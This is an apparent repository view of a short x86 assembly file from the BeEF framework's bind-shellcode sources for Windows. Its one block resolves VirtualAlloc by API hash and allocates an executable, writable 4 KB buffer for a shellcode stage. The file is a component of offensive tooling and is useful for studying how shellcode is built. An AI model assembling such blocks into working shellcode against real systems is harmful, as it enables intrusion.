Path: blob/master/modules/exploits/beefbind/shellcode_sources/windows/src/block_virtualalloc.asm
1154 views
;-----------------------------------------------------------------------------;1; Author: Ty Miller @ Threat Intelligence2; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT43; Version: 1.0 (2nd December 2011)4;-----------------------------------------------------------------------------;5[BITS 32]67; Input: None8; Output: EAX holds pointer to the start of buffer 0x1000 bytes, EBX holds value 0x10009; Clobbers: EAX, EBX, ECX, EDX1011mov ebx,0x1000 ; setup our flags and buffer size in ebx12allocate_memory: ; Alloc a buffer for the request and response data13push byte 0x40 ; PAGE_EXECUTE_READWRITE - don't need execute but may as well14push ebx ; MEM_COMMIT15push ebx ; size of memory to be allocated (4096 bytes)16push byte 0 ; NULL as we dont care where the allocation is17push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )18call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );19202122